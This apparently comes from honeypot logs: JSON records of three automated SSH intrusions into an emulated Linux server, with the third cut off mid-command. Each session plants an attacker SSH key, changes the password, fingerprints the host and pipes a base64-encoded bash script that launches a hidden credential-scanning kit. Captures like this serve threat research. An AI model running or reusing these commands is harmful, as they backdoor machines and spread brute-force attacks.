{"id":"14592ca2-05d5-49de-bc8c-a65243d8b786","name":"crisp-thrifty-vole","protocol":"ssh","channel_kind":"exec","src_ip":"117.193.74.35","src_port":59762,"username":"moodle","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":755,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-21T22:41:24.962326+00:00","ended_at":"2026-08-21T22:41:25.198772+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3571,"events":[{"seq":1,"at":"2026-08-21T22:40:40.899107+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-21T22:40:41.644355+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-21T22:40:48.419608+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-21T22:40:48.422233+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-21T22:40:49.179288+00:00","kind":"input","latency_ms":null,"data":"echo -e \"12345\\nIIrwRYBKu8sM\\nIIrwRYBKu8sM\"|passwd|bash"},{"seq":6,"at":"2026-08-21T22:40:49.933246+00:00","kind":"input","latency_ms":null,"data":"echo \"12345\\nIIrwRYBKu8sM\\nIIrwRYBKu8sM\\n\"|passwd"},{"seq":7,"at":"2026-08-21T22:40:50.686702+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-21T22:40:50.687566+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-21T22:40:51.441671+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-21T22:40:52.409964+00:00","kind":"output","latency_ms":968,"data":" total used free shared buff/cache available\nMem: 15888 1247 13342 11 1298 14392"},{"seq":11,"at":"2026-08-21T22:40:53.164277+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-21T22:40:54.353066+00:00","kind":"output","latency_ms":1188,"data":"-rwxr-xr-x 1 root root 148K Mar 15 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-21T22:40:55.108588+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-21T22:40:55.109094+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-21T22:40:55.864672+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-21T22:40:55.865209+00:00","kind":"output","latency_ms":null,"data":" 22:40:55 up 1 day, 19:31, 0 user, load average: 0.1, 0.12, 0.11\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-21T22:40:56.620680+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-21T22:40:56.621534+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-21T22:40:57.376362+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-21T22:40:57.376851+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-21T22:40:58.131517+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-21T22:40:58.132186+00:00","kind":"output","latency_ms":null,"data":"top - 22:40:58 up 1 day, 19:31, 0 user, load average: 0.1, 0.12, 0.11\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-21T22:40:58.886787+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-21T22:40:58.887440+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-21T22:40:59.641989+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-21T22:40:59.642581+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-21T22:41:00.397412+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-21T22:41:00.397957+00:00","kind":"output","latency_ms":null,"data":"moodle"},{"seq":29,"at":"2026-08-21T22:41:01.155437+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-21T22:41:01.852196+00:00","kind":"output","latency_ms":697,"data":"Model name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-21T22:41:02.608242+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-21T22:41:03.477652+00:00","kind":"output","latency_ms":868,"data":"24G"},{"seq":33,"at":"2026-08-21T22:41:06.246293+00:00","kind":"input","latency_ms":null,"data":"echo \"moodle 12345\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-21T22:41:06.997267+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-21T22:41:07.552036+00:00","kind":"output","latency_ms":553,"data":""},{"seq":36,"at":"2026-08-21T22:41:09.696354+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-21T22:41:10.306772+00:00","kind":"output","latency_ms":609,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-21T22:41:11.064296+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-21T22:41:11.694514+00:00","kind":"output","latency_ms":625,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-21T22:41:12.473608+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-21T22:41:13.228248+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-21T22:41:13.933014+00:00","kind":"output","latency_ms":703,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-21T22:41:14.686307+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-21T22:41:15.323481+00:00","kind":"output","latency_ms":635,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-21T22:41:16.078577+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-21T22:41:16.670827+00:00","kind":"output","latency_ms":590,"data":""},{"seq":47,"at":"2026-08-21T22:41:24.978237+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-21T22:41:24.979825+00:00","kind":"output","latency_ms":null,"data":"moodle"}],"credentials":[{"username":"moodle","password":"12345","method":"password","accepted":true,"tier":"other"}]} {"id":"53a3648e-931d-4b38-a64e-98873cd47818","name":"grumpy-twilight-hummingbird","protocol":"ssh","channel_kind":"exec","src_ip":"49.207.247.60","src_port":8157,"username":"kk","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":642,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-21T22:15:18.046669+00:00","ended_at":"2026-08-21T22:15:18.243265+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3926,"events":[{"seq":1,"at":"2026-08-21T22:14:40.189035+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-21T22:14:40.830343+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-21T22:14:46.769295+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-21T22:14:46.770077+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-21T22:14:47.417597+00:00","kind":"input","latency_ms":null,"data":"echo -e \"kk\\nEpaQPZjB4biy\\nEpaQPZjB4biy\"|passwd|bash"},{"seq":6,"at":"2026-08-21T22:14:48.057219+00:00","kind":"input","latency_ms":null,"data":"echo \"kk\\nEpaQPZjB4biy\\nEpaQPZjB4biy\\n\"|passwd"},{"seq":7,"at":"2026-08-21T22:14:48.699737+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-21T22:14:48.700444+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-21T22:14:49.342841+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-21T22:14:50.092457+00:00","kind":"output","latency_ms":748,"data":"Mem: 15888 1267 11023 46 3558 1456"},{"seq":11,"at":"2026-08-21T22:14:50.732894+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-21T22:14:51.501370+00:00","kind":"output","latency_ms":767,"data":"-rwxr-xr-x 1 root root 142K Jan 10 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-21T22:14:52.142642+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-21T22:14:52.143220+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-21T22:14:52.786746+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-21T22:14:52.787340+00:00","kind":"output","latency_ms":null,"data":" 22:14:52 up 1 day, 19:04, 0 user, load average: 0.03, 0.03, 0.03\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-21T22:14:53.429119+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-21T22:14:53.429800+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-21T22:14:54.073733+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-21T22:14:54.074480+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-21T22:14:54.715269+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-21T22:14:54.716185+00:00","kind":"output","latency_ms":null,"data":"top - 22:14:54 up 1 day, 19:05, 0 user, load average: 0.03, 0.03, 0.03\nTasks: 121 total, 1 running, 120 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9532 free, 6355 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-21T22:14:55.356763+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-21T22:14:55.357405+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-21T22:14:56.002334+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-21T22:14:56.002821+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-21T22:14:56.642891+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-21T22:14:56.643476+00:00","kind":"output","latency_ms":null,"data":"kk"},{"seq":29,"at":"2026-08-21T22:14:57.286051+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-21T22:14:58.530571+00:00","kind":"output","latency_ms":1243,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-21T22:14:59.172182+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-21T22:14:59.731266+00:00","kind":"output","latency_ms":559,"data":"24G"},{"seq":33,"at":"2026-08-21T22:15:00.372009+00:00","kind":"input","latency_ms":null,"data":"echo \"kk kk\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-21T22:15:01.015346+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-21T22:15:01.591377+00:00","kind":"output","latency_ms":577,"data":""},{"seq":36,"at":"2026-08-21T22:15:03.296750+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-21T22:15:03.991082+00:00","kind":"output","latency_ms":691,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-21T22:15:04.632919+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-21T22:15:05.379059+00:00","kind":"output","latency_ms":747,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-21T22:15:06.020605+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-21T22:15:06.661488+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-21T22:15:07.331788+00:00","kind":"output","latency_ms":670,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-21T22:15:07.976907+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-21T22:15:08.656389+00:00","kind":"output","latency_ms":680,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-21T22:15:09.298705+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-21T22:15:09.982225+00:00","kind":"output","latency_ms":684,"data":""},{"seq":47,"at":"2026-08-21T22:15:18.049138+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-21T22:15:18.050117+00:00","kind":"output","latency_ms":null,"data":"kk"}],"credentials":[{"username":"kk","password":"kk","method":"password","accepted":true,"tier":"other"}]} {"id":"0cc7a6c5-0cf1-43ec-a02d-3ea68596a8f3","name":"austere-regal-opossum","protocol":"ssh","channel_kind":"exec","src_ip":"202.152.148.27","src_port":51410,"username":"vadim","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":750,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-21T22:13:33.104155+00:00","ended_at":"2026-08-21T22:13:33.323354+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3492,"events":[{"seq":1,"at":"2026-08-21T22:12:50.488339+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-21T22:12:51.228594+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-21T22:12:57.629698+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-21T22:12:57.630316+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-21T22:12:58.383146+00:00","kind":"input","latency_ms":null,"data":"echo -e \"12345678\\nBiCj8zDa8vda\\nBiCj8zDa8vda\"|passwd|bash"},{"seq":6,"at":"2026-08-21T22:12:59.145043+00:00","kind":"input","latency_ms":null,"data":"echo \"12345678\\nBiCj8zDa8vda\\nBiCj8zDa8vda\\n\"|passwd"},{"seq":7,"at":"2026-08-21T22:12:59.894545+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-21T22:12:59.895203+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-21T22:13:00.645510+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-21T22:13:01.469842+00:00","kind":"output","latency_ms":823,"data":"15888 5124 8271 62 2420 0"},{"seq":11,"at":"2026-08-21T22:13:02.220931+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-21T22:13:03.180600+00:00","kind":"output","latency_ms":958,"data":"-rwxr-xr-x 1 root root 151K Jan 8 12:34 /usr/bin/ls"},{"seq":13,"at":"2026-08-21T22:13:03.933509+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-21T22:13:03.934062+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-21T22:13:04.681713+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-21T22:13:04.682199+00:00","kind":"output","latency_ms":null,"data":" 22:13:04 up 1 day, 19:03, 0 user, load average: 0.06, 0.06, 0.07\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-21T22:13:05.431406+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-21T22:13:05.434260+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-21T22:13:06.186491+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-21T22:13:06.187093+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-21T22:13:06.941240+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-21T22:13:06.941608+00:00","kind":"output","latency_ms":null,"data":"top - 22:13:06 up 1 day, 19:03, 0 user, load average: 0.06, 0.06, 0.07\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6355 free, 9532 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-21T22:13:07.692247+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-21T22:13:07.693008+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-21T22:13:08.442182+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-21T22:13:08.443314+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-21T22:13:09.191836+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-21T22:13:09.192428+00:00","kind":"output","latency_ms":null,"data":"vadim"},{"seq":29,"at":"2026-08-21T22:13:09.942567+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-21T22:13:10.752699+00:00","kind":"output","latency_ms":810,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel: 1"},{"seq":31,"at":"2026-08-21T22:13:11.502298+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-21T22:13:12.137019+00:00","kind":"output","latency_ms":633,"data":"24G"},{"seq":33,"at":"2026-08-21T22:13:14.559923+00:00","kind":"input","latency_ms":null,"data":"echo \"vadim 12345678\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-21T22:13:15.309314+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-21T22:13:15.977835+00:00","kind":"output","latency_ms":658,"data":""},{"seq":36,"at":"2026-08-21T22:13:17.999262+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-21T22:13:18.602803+00:00","kind":"output","latency_ms":602,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-21T22:13:19.351884+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-21T22:13:19.921714+00:00","kind":"output","latency_ms":568,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-21T22:13:20.672271+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-21T22:13:21.422867+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-21T22:13:22.097714+00:00","kind":"output","latency_ms":671,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-21T22:13:22.848181+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-21T22:13:23.475842+00:00","kind":"output","latency_ms":626,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-21T22:13:24.225551+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo 